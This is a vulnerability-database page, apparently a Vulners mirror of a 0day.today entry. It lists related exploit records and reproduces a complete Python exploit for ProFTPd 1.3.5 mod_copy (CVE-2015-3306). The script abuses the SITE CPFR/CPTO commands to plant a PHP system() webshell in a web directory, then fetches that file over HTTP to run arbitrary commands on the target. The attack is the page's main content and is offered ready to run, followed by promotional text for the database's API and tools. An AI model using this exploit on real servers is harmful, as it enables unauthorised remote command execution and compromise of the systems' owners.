| Reporter | Title | Published | Views | Family All 65 |
|---|---|---|---|---|
| Exploit for Improper Access Control in Proftpd | 2 Nov 202520:36 | – | githubexploit | |
| Exploit for CVE-1999-0368 | 17 Feb 202615:41 | – | githubexploit | |
| Exploit for Improper Access Control in Proftpd | 3 Jun 202613:18 | – | githubexploit | |
| Exploit for Improper Access Control in Proftpd | 8 Jan 201714:19 | – | githubexploit | |
| ProFTPD 1.3.5 Mod_Copy Command Execution Exploit | 10 Jun 201500:00 | – | zdt | |
| ProFTPd 1.3.5 - (mod_copy) Remote Command Execution Exploit (2) | 26 May 202100:00 | – | zdt | |
| The vulnerability of the FTP server ProFTPD, which allows a remote intruder to gain access to protected information | 5 Jun 201500:00 | – | bdu_fstec | |
| CVE-2015-3306 | 13 Apr 201500:00 | – | circl | |
| ProFTPd (mod_copy) Remote Command Execution Vulnerability | 24 Apr 201500:00 | – | cnvd | |
| ProFTPD mod_copy Unauthenticated Remote File Copying (CVE-2015-3306) | 29 Apr 201500:00 | – | checkpoint_advisories |
# Title: ProFTPd 1.3.5 Remote Command Execution
# Date : 20/04/2015
# Author: R-73eN
# Software: ProFTPd 1.3.5 with mod_copy
# Tested : Kali Linux 1.06
# CVE : 2015-3306
# Greetz to Vadim Melihow for all the hard work .
import socket
import sys
import requests
#Banner
banner = ""
banner += " ___ __ ____ _ _ \n"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"
banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if(len(sys.argv) < 4):
print '\n Usage : exploit.py server directory cmd'
else:
server = sys.argv[1] #Vulnerable Server
directory = sys.argv[2] # Path accessible from web .....
cmd = sys.argv[3] #PHP payload to be executed
evil = '<?php system("' + cmd + '") ?>'
s.connect((server, 21))
s.recv(1024)
print '[ + ] Connected to server [ + ] \n'
s.send('site cpfr /etc/passwd')
s.recv(1024)
s.send('site cpto ' + evil)
s.recv(1024)
s.send('site cpfr /proc/self/fd/3')
s.recv(1024)
s.send('site cpto ' + directory + 'infogen.php')
s.recv(1024)
s.close()
print '[ + ] Payload sended [ + ]\n'
print '[ + ] Executing Payload [ + ]\n'
r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP
if (r.status_code == 200):
print '[ * ] Payload Executed Succesfully [ * ]'
else:
print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'
print '\n http://infogen.al/'
# 0day.today [2018-01-06] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation